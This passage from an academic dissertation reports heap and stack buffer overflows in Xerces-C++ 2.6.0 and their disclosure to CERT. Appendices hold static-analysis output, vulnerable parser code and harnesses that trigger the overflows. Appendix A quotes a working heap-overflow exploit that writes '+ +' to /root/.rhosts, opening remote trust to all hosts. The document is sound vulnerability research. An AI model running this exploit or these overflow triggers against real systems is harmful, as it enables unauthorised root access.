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const size_t bufferSize = 1024;
size_t temp = 0;
size_t runTot = 0;
size_t n =0;
// must allow for null character at end of buffer
runTot = bufferSize-1;
//initialise n with initial size of buffer minus 1
n = runTot;
//initialise buffer
char locationBuf[1024];
memset(locationBuf, 0, sizeof locationBuf);
//get nlsHome location
const char * nlsHome = XMLMsgLoader::getNLSHome();

if (nlsHome)
{

strncpy(locationBuf, nlsHome, n);
temp = strlen(locationBuf);
//let n = initial buffer size -1 - the size of
locationBuf
n = runTot - temp;
strncat(locationBuf, U_FILE_SEP_STRING, n);
temp = strlen(locationBuf);
n = runTot - temp;

}

Figure 6.5: Countermeasure for Buffer Overflows
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Chapter 7

Conclusion

7.1 Conclusion

It has been shown in this dissertation that there are indeed vulnerabilities present in the

Xerces-C++ parser. The vulnerabilities discovered were buffer overflows in the heap and in

the stack.

The heap buffer overflow can be exploited using any XML document that is validated

by Xerces or by any of the document’s associated schemas. The ability to effect the buffer

overflow through a remotely stored schema opens the door to the possibility of Schema

Poisoning attacks. Although, as of Xerces-C++ version 2.6.0, there is no proxy support so

this reduces the possibility of this type of attack occurring.

The stack buffer overflow is harder to cause as it depends on a Xerces configuration

setting which specifies in which location Xerces’s error messages are stored. The location,

nlsHome is set when Xerces is initialised and effecting this type of overflow would only

be possible if one had access to the initialisation parameters. None of the applications,

that incorporated Xerces as a component, that were investigated during the course of this

dissertation gave the user access to these settings.

Although no actual exploits of the discovered buffer overflows were developed during

the course of this dissertation, this does not mean that none exist. It was decided at the start

of this dissertation that finding exploits to any vulnerabilities discovered would be outside

the scope of the dissertation. There are many inventive buffer overflow exploits in existence

today and many knowledgeable people who can develop exploits out there. This raises a very
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important question, what should be done with these findings? There are 3 basic answers to

this question:

1. Do nothing at all and suppose someone else will find the vulnerabilities and report

them.

2. Send an email to the Xerces users open mailing list informing all subscribers of the

vulnerabilities and let them deal with it.

3. Report the vulnerabilities to an institution like CERT who will only inform the devel-

opers and other need to know parties of the vulnerabilities.

It was decided that the best course of action would be to proceed with the latter, to

send a vulnerability report form to CERT1. To put a bit of pressure on CERT and all other

interested parties to act on this information they will also be informed that the vulnerabilities

were found as part of a research dissertation that will be published in the coming weeks.

Although Xerces-C++ version 2.6.0 was the version of the parser used throughout this

dissertation it has been superseded by a newer version, Xerces-C++ version 2.7. Unfortu-

nately there was no time to thoroughly evaluate the new version. A minor check was done

to see if the vulnerabilities present in Xerces-C++ version 2.6.0 were present in Xerces-C++

version 2.7. The source code was downloaded and checked. It was found that the same

vulnerable code was in the new version.

These findings raise serious issues with regard to the security of XML applications. All

XML based applications need to parse incoming XML data so that it is in a form suitable

for use by the application. Therefore XML parsers are integral to all XML applications and

so any vulnerability which threatens the security of the XML parser is therefore a threat to

the security of the application as a whole. If XML is to become the de facto standard for

data representation, vulnerabilities such as these need to be addressed. Further work needs

to be done to look for other vulnerabilities that may exist in Xerces. There are many other

XML parser applications in existence and these too should be analysed to see if they contain

the these vulnerabilities or any other vulnerabilities. The findings contained herein also

pose a security threat to the whole area of Web Services as it is highly dependent on XML.

Some of XML’s uses in Web Services are as a means of data representation, as a transport

1http://www.cert.org/reporting/vulnerability_form.txt
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mechanism and as a description language. As Web Services integration becomes integral to

core business processes, protecting web services from attacks exploiting vulnerabilities such

as those found in this dissertation will become more and more necessary.

7.2 Future Work

Below is a list of ideas for future work in this area.

• As this dissertation evaluated a version of Xerces which is now out of date, the same

methods that caused the buffer overflows on that should be tested on the new version

to verify if the problem has been patched or not.

• Other parsers which were written in C or C++ could be checked to see if they contain

the same vulnerabilities.

• Xerces should be further evaluated to look for other vulnerabilities which may be

present in the parser.

• Although it was out of the scope of this dissertation, developing actual exploits for the

vulnerabilities discovered could be explored.
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Appendix A

Heap Vulnerability Example

This Appendix contains the example code for a heap buffer overflow exploit discussed in

section 6.3.2. It is taken from an Article by Matt Conover on heap overflows1.

-----------------------------------------------------------------------------

/ *

* This is a typical vulnerable program. It will store user input in a

* temporary file.

*

* Compile as: gcc -o vulprog1 vulprog1.c

* /

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <errno.h>

#define ERROR -1

#define BUFSIZE 16

/ *

* Run this vulprog as root or change the "vulfile" to something else.

* Otherwise, even if the exploit works, it won’t have permission to

* overwrite /root/.rhosts (the default "example").

* /

1http://www.w00w00.org/files/articles/heaptut.txt
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int main( int argc, char ** argv)

{

FILE * tmpfd;

static char buf[BUFSIZE], * tmpfile;

if (argc <= 1)

{

fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);

exit(ERROR);

}

tmpfile = "/tmp/vulprog.tmp"; / * no, this is not a temp file vul * /

printf("before: tmpfile = %s\n", tmpfile);

printf("Enter one line of data to put in %s: ", tmpfile);

gets(buf);

printf("\nafter: tmpfile = %s\n", tmpfile);

tmpfd = fopen(tmpfile, "w");

if (tmpfd == NULL)

{

fprintf(stderr, "error opening %s: %s\n", tmpfile,

strerror(errno));

exit(ERROR);

}

fputs(buf, tmpfd);

fclose(tmpfd);

}

-----------------------------------------------------------------------------

-----------------------------------------------------------------------------

/ *

* Copyright (C) January 1999, Matt Conover & WSD
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*

* This will exploit vulprog1.c. It passes some arguments to the

* program (that the vulnerable program doesn’t use). The vulnerable

* program expects us to enter one line of input to be stored

* temporarily. However, because of a static buffer overflow, we can

* overwrite the temporary filename pointer, to have it point to

* argv[1] (which we could pass as "/root/.rhosts"). Then it will

* write our temporary line to this file. So our overflow string (what

* we pass as our input line) will be:

* + + # (tmpfile addr) - (buf addr) # of A’s | argv[1] address

*

* We use "+ +" (all hosts), followed by ’#’ (comment indicator), to

* prevent our "attack code" from causing problems. Without the

* "#", programs using .rhosts would misinterpret our attack code.

*

* Compile as: gcc -o exploit1 exploit1.c

* /

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#define BUFSIZE 256

#define DIFF 16 / * estimated diff between buf/tmpfile in vulprog * /

#define VULPROG "./vulprog1"

#define VULFILE "/root/.rhosts" / * the file ’buf’ will be stored in * /

/ * get value of sp off the stack (used to calculate argv[1] address) * /

u_long getesp()

{

__asm__("movl %esp,%eax"); / * equiv. of ’return esp;’ in C * /

}

int main( int argc, char ** argv)

{

u_long addr;
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register int i;

int mainbufsize;

char * mainbuf, buf[DIFF+6+1] = "+ +\t# ";

/ * ------------------------------------------------------ * /

if (argc <= 1)

{

fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);

exit(ERROR);

}

/ * ------------------------------------------------------ * /

memset(buf, 0, sizeof (buf)), strcpy(buf, "+ +\t# ");

memset(buf + strlen(buf), ’A’, DIFF);

addr = getesp() + atoi(argv[1]);

/ * reverse byte order (on a little endian system) * /

for (i = 0; i < sizeof (u_long); i++)

buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;

mainbuf = ( char * )malloc(mainbufsize);

memset(mainbuf, 0, sizeof (mainbufsize));

snprintf(mainbuf, mainbufsize - 1, "echo ’%s’ | %s %s\n",

buf, VULPROG, VULFILE);

printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",

addr, VULFILE);

system(mainbuf);

return 0;

}

-----------------------------------------------------------------------------
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Appendix B

Static Analysis Output

This Appendix contains the output from the static analysis of the Xerces-C++ code, using

ITS4.

XERCES_GENERALATTRIBUTECHECK

GeneralAttributeCheck.cpp:598:(Urgent) fprintf

GeneralAttributeCheck.cpp:862:(Urgent) fprintf

GeneralAttributeCheck.cpp:865:(Urgent) fprintf

GeneralAttributeCheck.cpp:868:(Urgent) fprintf

GeneralAttributeCheck.cpp:870:(Urgent) fprintfNon-constant format

strings can often be attacked.Use a constant format string.

GeneralAttributeCheck.cpp:597:(Risky) fopenCan be involved in a

race condition if you open things after a poor check. For example,

don’t check to see if something is not a symbolic link before

opening it. Open it, then check by querying the resulting object.

Don’t run tests on symbolic file names...Perform all checks AFTER

the open, and based on the returned object, not asymbolic name.

XERCES_XMLSTRING

XMLString.cpp:226:(Very Risky) strcat This function is high risk

for buffer overflows Use strncat instead. XMLString.cpp:269:(Very

Risky) strcpy This function is high risk for buffer overflows Use

strncpy instead.
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XERCES_XMLCHAR

XMLChar.cpp:8825:(Urgent) fprintf XMLChar.cpp:8830:(Urgent)

fprintf XMLChar.cpp:8847:(Urgent) fprintfXMLChar.cpp:8917:(Urgent)

fprintfXMLChar.cpp:8922:(Urgent) fprintf XMLChar.cpp:8939:(Urgent)

fprintfNon-constant format strings can often be attacked.Use a

constant format string. XMLChar.cpp:8824:(Risky) fopen

XMLChar.cpp:8916:(Risky) fopenCan be involved in a race condition

if you open things after a poor check. Forexample, don’t check to

see if something is not a symbolic link before openingit. Open

it, then check bt querying the resulting object. Don’t run tests

onsymbolic file names...Perform all checks AFTER the open, and

based on the returned object, not asymbolic name.D

efaultPanicHandler.cpp:42:(Urgent) fprintfNon-constant format

strings can often be attacked.Use a constant format string.

XERCES_BINHTTPURLINPUTSTREAM

BinHTTPURLInputStream.cpp:380:(Very Risky)strcat

BinHTTPURLInputStream.cpp:386:(Very Risky) strcat

BinHTTPURLInputStream.cpp:391:(Very Risky) strcat

BinHTTPURLInputStream.cpp:397:(Very Risky) strcat This function is

high risk for buffer overflows Use strncat instead.

XERCES_ICUMSGLOADER

ICUMsgLoader.cpp:237:(Very Risky) getenv

ICUMsgLoader.cpp:245:(Very Risky) getenv

Often seen in conjunction with buffer overflows, etc.

Remember that env vars can contain arbitrary malicious input. Test accordingly

before use.

ICUMsgLoader.cpp:233:(Very Risky) strcat

ICUMsgLoader.cpp:241:(Very Risky) strcat

ICUMsgLoader.cpp:249:(Very Risky) strcat

ICUMsgLoader.cpp:251:(Very Risky) strcat

This function is high risk for buffer overflows

Use strncat instead.
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ICUMsgLoader.cpp:232:(Very Risky) strcpy

ICUMsgLoader.cpp:240:(Very Risky) strcpy

ICUMsgLoader.cpp:248:(Very Risky) strcpy

This function is high risk for buffer overflows

Use strncpy instead.

XERCES_UNIXHTTPURLINPUTSTREAM

UnixHTTPURLInputStream.cpp:348:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:356:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:361:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:363:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:365:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:366:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:369:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:370:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:372:(Very Risky) strcat

UnixHTTPURLInputStream.cpp:377:(Very Risky) strcatThis function is

high risk for buffer overflowsUse strncat

instead.UnixHTTPURLInputStream.cpp:338:(Very Risky) strcpy

UnixHTTPURLInputStream.cpp:342:(Very Risky) strcpy

UnixHTTPURLInputStream.cpp:343:(Very Risky) strcpy

UnixHTTPURLInputStream.cpp:344:(Very Risky) strcpyThis function is

high risk for buffer overflowsUse strncpy instead.

UnixHTTPURLInputStream.cpp:401:(Some risk) read

UnixHTTPURLInputStream.cpp:484:(Some risk) readBe careful not to

introduce a buffer overflow when using in a loop.Make sure to

check your buffer boundries.

XERCRES_INTERNAL

XObjectComparator.cpp:80:(Urgent)

printfXObjectComparator.cpp:88:(Urgent)

printfXObjectComparator.cpp:92:(Urgent) printfNon-constant format

strings can often be attacked.Use a constant format string.

XProtoType.cpp:97:(Some risk) read Be careful not to introduce a

buffer overflow when using in a loop.Make sure to check your

buffer boundries. XSerializeEngine.cpp:426:(Some risk) read

57



XSerializeEngine.cpp:434:(Some risk)

readXSerializeEngine.cpp:459:(Some risk) read

XSerializeEngine.cpp:503:(Some risk)

readXSerializeEngine.cpp:506:(Some risk) read

XSerializeEngine.cpp:509:(Some risk)

readXSerializeEngine.cpp:610:(Some risk) read

XSerializeEngine.cpp:641:(Some risk) readBe careful not to

introduce a buffer overflow when using in a loop.Make sure to

check your buffer boundries. XSerializable.hpp:95:(Some risk) read

Be careful not to introduce a buffer overflow when using in a

loop.Make sure to check your buffer boundries.

XSerializeEngine.hpp:356:(Some risk) read

XSerializeEngine.hpp:371:(Some risk)

readXSerializeEngine.hpp:385:(Some risk) read

XSerializeEngine.hpp:399:(Some risk) read Be careful not to

introduce a buffer overflow when using in a loop.Make sure to

check your buffer boundries.
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Appendix C

BinHTTPURLInputStream Class

This Appendix contains the constructor for the BinHTTPURLInputStream class. This is

where all the vulnerabilities identified by the static analysis in the BinHTTPURLInputStream

class where contained.

// The port is open and ready to go.

// Build up the http GET command to send to the server.

// To do: We should really support http 1.1. This implementation

// is weak.

memset(fBuffer, 0, sizeof (fBuffer));

if (httpInfo==0)

strcpy(fBuffer, "GET ");

else {

switch (httpInfo->fHTTPMethod) {

case XMLNetHTTPInfo::GET: strcpy(fBuffer, "GET "); break ;

case XMLNetHTTPInfo::PUT: strcpy(fBuffer, "PUT "); break ;

case XMLNetHTTPInfo::POST: strcpy(fBuffer, "POST "); break ;

}

}

strcat(fBuffer, pathAsCharStar);

if (queryAsCharStar != 0)
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{

// Tack on a ? before the fragment

strcat(fBuffer,"?");

strcat(fBuffer, queryAsCharStar);

}

if (fragmentAsCharStar != 0)

{

strcat(fBuffer, fragmentAsCharStar);

}

strcat(fBuffer, " HTTP/1.0\r\n");

strcat(fBuffer, "Host: ");

strcat(fBuffer, hostNameAsCharStar);

if (portNumber != 80)

{

strcat(fBuffer, ":");

int i = strlen(fBuffer);

_itoa(portNumber, fBuffer+i, 10);

}

strcat(fBuffer, "\r\n");

if (httpInfo!=0 && httpInfo->fHeaders!=0)

strncat(fBuffer,httpInfo->fHeaders,httpInfo->fHeadersLen);

strcat(fBuffer, "\r\n");
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Appendix D

ICUMessageLoader Class

This Appendix contains the constructor from the ICUMessageLoader Class. This is where

all the vulnerabilities identified by the static analysis in the ICUMessageLoader class where

contained.

char locationBuf[1024];

memset(locationBuf, 0, sizeof locationBuf);

const char * nlsHome = XMLMsgLoader::getNLSHome();

if (nlsHome)

{

strcpy(locationBuf, nlsHome);

strcat(locationBuf, U_FILE_SEP_STRING);

}

else

{

nlsHome = getenv("XERCESC_NLS_HOME");

if (nlsHome)

{

strcpy(locationBuf, nlsHome);

strcat(locationBuf, U_FILE_SEP_STRING);

}

else

{

nlsHome = getenv("XERCESCROOT");

if (nlsHome)

{
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strcpy(locationBuf, nlsHome);

strcat(locationBuf, U_FILE_SEP_STRING);

strcat(locationBuf, "msg");

strcat(locationBuf, U_FILE_SEP_STRING);

}

else

{

/ ***
leave it to ICU to decide where to search

for the error message.

*** /

setAppData();

}

}

}
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Appendix E

Heap Buffer Overflow Code

This Appendix contains the code used for implementing the heap based buffer overflow.

int _tmain( int argc, _TCHAR * argv[]){

if (argc < 2){

std::cout << "Error not enough variables specified \n";

return 1;

}

try{

XMLPlatformUtils::Initialize();

} catch ( const XMLException& toCatch){

}

// Instantiate the DOM parser.

static const XMLCh gLS[] = { chLatin_L, chLatin_S, chNull };

DOMImplementation * impl =

DOMImplementationRegistry::getDOMImplementation(gLS);

DOMBuilder * parser = ((DOMImplementationLS * )impl)

->createDOMBuilder(DOMImplementationLS::MODE_SYNCHRONOUS, 0);

parser->setFeature(XMLUni::fgDOMNamespaces, true);

parser->setFeature(XMLUni::fgXercesSchema, true);

parser->setFeature(XMLUni::fgXercesSchemaFullChecking, true);

parser->setFeature(XMLUni::fgDOMValidation, true);
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// And create our error handler and install it

DOMTestErrorHandler errorHandler;

parser->setErrorHandler(&errorHandler);

char * xmlFile = argv[1];

std::cout << "XML file is called " << argv[1] << std::endl;

try {

//actual parsing done here

parser->parseURI(xmlFile);

}

catch ( const OutOfMemoryException& toCatch)

{

}

catch ( const XMLException& toCatch) {

}

catch ( const DOMException& toCatch) {

}

catch (...) {

}

delete parser;

XMLPlatformUtils::Terminate();

std::cout << "parsing complete" << std::endl;

return 0;

}
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Appendix F

Stack Buffer Overflow Code

This Appendix contains the code used for implementing the stack based buffer overflow.

int _tmain( int argc, _TCHAR * argv[]){

XMLMsgLoader * sMsgLoader4DOM;

char * nlsHome = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........."

if (argc < 2){

std::cout << "Error not enough variables specified \n";

return 1;

}

try{

//cout << "hellonearlyin";

//XMLPlatformUtils::Initialize();

XMLPlatformUtils::Initialize(XMLUni::fgXercescDefaultLocale,nlsHome,0,0);

} catch ( const XMLException& toCatch){

}

//added in this line to try and crash the getNLSHome call

sMsgLoader4DOM = XMLPlatformUtils::loadMsgSet(XMLUni::fgXMLErrDomain);

std::cout << sMsgLoader4DOM->getNLSHome();

// Instantiate the DOM parser.

static const XMLCh gLS[] = { chLatin_L, chLatin_S, chNull };
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DOMImplementation * impl =

DOMImplementationRegistry::getDOMImplementation(gLS);

DOMBuilder * parser = ((DOMImplementationLS * )impl)

->createDOMBuilder(DOMImplementationLS::MODE_SYNCHRONOUS, 0);

parser->setFeature(XMLUni::fgDOMNamespaces, true);

parser->setFeature(XMLUni::fgXercesSchema, true);

parser->setFeature(XMLUni::fgXercesSchemaFullChecking, true);

parser->setFeature(XMLUni::fgDOMValidation, true);

// And create our error handler and install it

DOMTestErrorHandler errorHandler;

parser->setErrorHandler(&errorHandler);

char * xmlFile = argv[1];

std::cout << "XML file is called " << argv[1] << std::endl;

try {

//actual parsing done here

//parser->parse(xmlFile);

parser->parseURI(xmlFile);

}

catch (...) {

}

delete parser;

XMLPlatformUtils::Terminate();

std::cout << "parsing complete" << std::endl;

return 0;

}
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Appendix G

Compiling Xerces-C++ with ICU

Message Support

This Appendix contains the instructions for recompiling Xerces so it uses the

ICU message loader.

1. Download the ICU source code 1 and compile it.

2. Open the XercesLib project and in util-> MsgLoaders delete the Win32MsgLoader

files. In there place add the ICUMsgLoader files from

XERCESROOT\src\xercesc\util\MsgLoaders\ICU directory.

3. Open the properties of the XercesLib project and in the preprocessor section

add the the macro XML_USE_ICU_MESSAGELOADER and remove XML_USE_WIN32_MSGLOADER.

4. In the properties of the XercesLib project and in linker->input ->addition

dependencies add the ICU libs icuucd.lib and icudt.lib to libs and then

in linker -> general-> Additional library Directories add the path where

these libs are. This should be something like

ICUROOT\icu\lib.

5. Again in the properties section go to c/c++-> general-> Additional include

Directories and add the ICUROOT\icu\source\common path to include the

ICU header files.

6. There seems to be an include file missing in the ICUMsgLoader class, which

throws an exception when the above is compiled. To avoid this the following

header file must be included in addition to those already include

ICUROOT\include \unicode \putil.h

1http://www-306.ibm.com/software/globalization/icu/index.jsp
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7. Finally rebuild Xerces and this should compile with no errors.
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Appendix H

IPO.xml

This Appendix shows the XML document used for all tests throughout this dissertation.

<ipo:purchaseOrder

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:ipo="http://www.example.com/ipo"

xmlns:abc="http://www.example.com/importFile"

xsi:schemaLocation="http://www.example.com/ipo ipo.xsd"

orderDate="1999-12-01">

<employee>

<abc:firstname>John</abc:firstname>

<abc:lastname>O’ Donnell</abc:lastname>

</employee>

<shipTo exportCode="1" xsi:type="ipo:UKAddress">

<name>Helen Zoe</name>

<street>47 Eden Street</street>

<city>Cambridge</city>

<postcode>1</postcode>

</shipTo>

<billTo xsi:type="ipo:USAddress">

<name>Helen Zoe</name>

<street>8 Oak Avenue</street>

<city>Old Town</city>

<state>AK</state>

<zip>95819</zip>
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</billTo>

<items>

<item partNum="833-AA">

<productName>Lapis necklace</productName>

<quantity>1</quantity>

<USPrice>99.95</USPrice>

<ipo:testComment>Want this for the holidays</ipo:testComment>

<ipo:testComment>Want this for the holidays</ipo:testComment>

<shipDate>1999-12-05</shipDate>

</item>

<item partNum="833-AA">

<productName>Lapis necklaces</productName>

<quantity>1</quantity>

<USPrice>99.95</USPrice>

<ipo:testComment>Want this for the holidays</ipo:testComment>

<ipo:testComment>Want this for the holidays</ipo:testComment>

<shipDate>1999-12-05</shipDate>

</item>

</items>

</ipo:purchaseOrder>

70



Appendix I

Xalan-C++ Vulnerability Demonstration

Code

This Appendix shows the code used for implementing the heap buffer overflow in Xalan-

C++.

{\tt\footnotesize int main(

int argc,

char * / * argv * / [])

{

int theResult = -1;

try

{

XALAN\_USING\_XERCES(XMLPlatformUtils)

XALAN\_USING\_XERCES(XMLUni)

XALAN\_USING\_XALAN(XalanTransformer)

// Call the static initializer for Xerces.

XMLPlatformUtils::Initialize();

// Initialize Xalan.

XalanTransformer::initialize();
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{

cout << "creating transformer" << endl;

// Create a XalanTransformer.

XalanTransformer theXalanTransformer;

//this turns validation on

theXalanTransformer.setUseValidation(true);

cout << "doing transformation" << endl;

theResult = theXalanTransformer.transform(

"C:/presentation/xalan/bo/ipo.xml",

"C:/presentation/xalan/xalan.xsl",

"C:/presentation/xalan/output.out");

cout << "Transformation complete" << endl;

}

cout << "ending" << endl;

// Terminate Xalan...

XalanTransformer::terminate();

// Terminate Xerces...

XMLPlatformUtils::Terminate();

}

catch(...)

{

}

return theResult;

}
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Appendix J

Berkeley DB XML Vulnerability

Demonstration Code

This Appendix shows the code used for implementing the heap buffer overflow in Berkeley

DB XML.

int _tmain( int argc, _TCHAR * argv[]) {

try {

XmlInputStream * input = NULL;

string path2DbEnv = "c:/env";

string theContainer = "simpleExampleData.dbxml";

string docName = "doc1";

//open a container in the db environment

DbEnv env(0);

env.set_cachesize(0, 64 * 1024 * 1024, 1);

env.open(path2DbEnv.c_str(),

DB_INIT_MPOOL|DB_CREATE|DB_INIT_LOCK|DB_INIT_LOG|DB_INIT_TXN, 0);

XmlManager db(&env, DBXML_ALLOW_EXTERNAL_ACCESS);

XmlContainer container = db.openContainer(theContainer,

DBXML_ALLOW_VALIDATION|DB_CREATE);

XmlUpdateContext updateContext = db.createUpdateContext();

//create input
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input =

db.createLocalFileInputStream("C:/presentation/xalan/ipo.xml");

container.putDocument(docName, input, updateContext, 0);

XmlUpdateContext uc = db.createUpdateContext();

} catch (XmlException &e) {

}

return 0;

}
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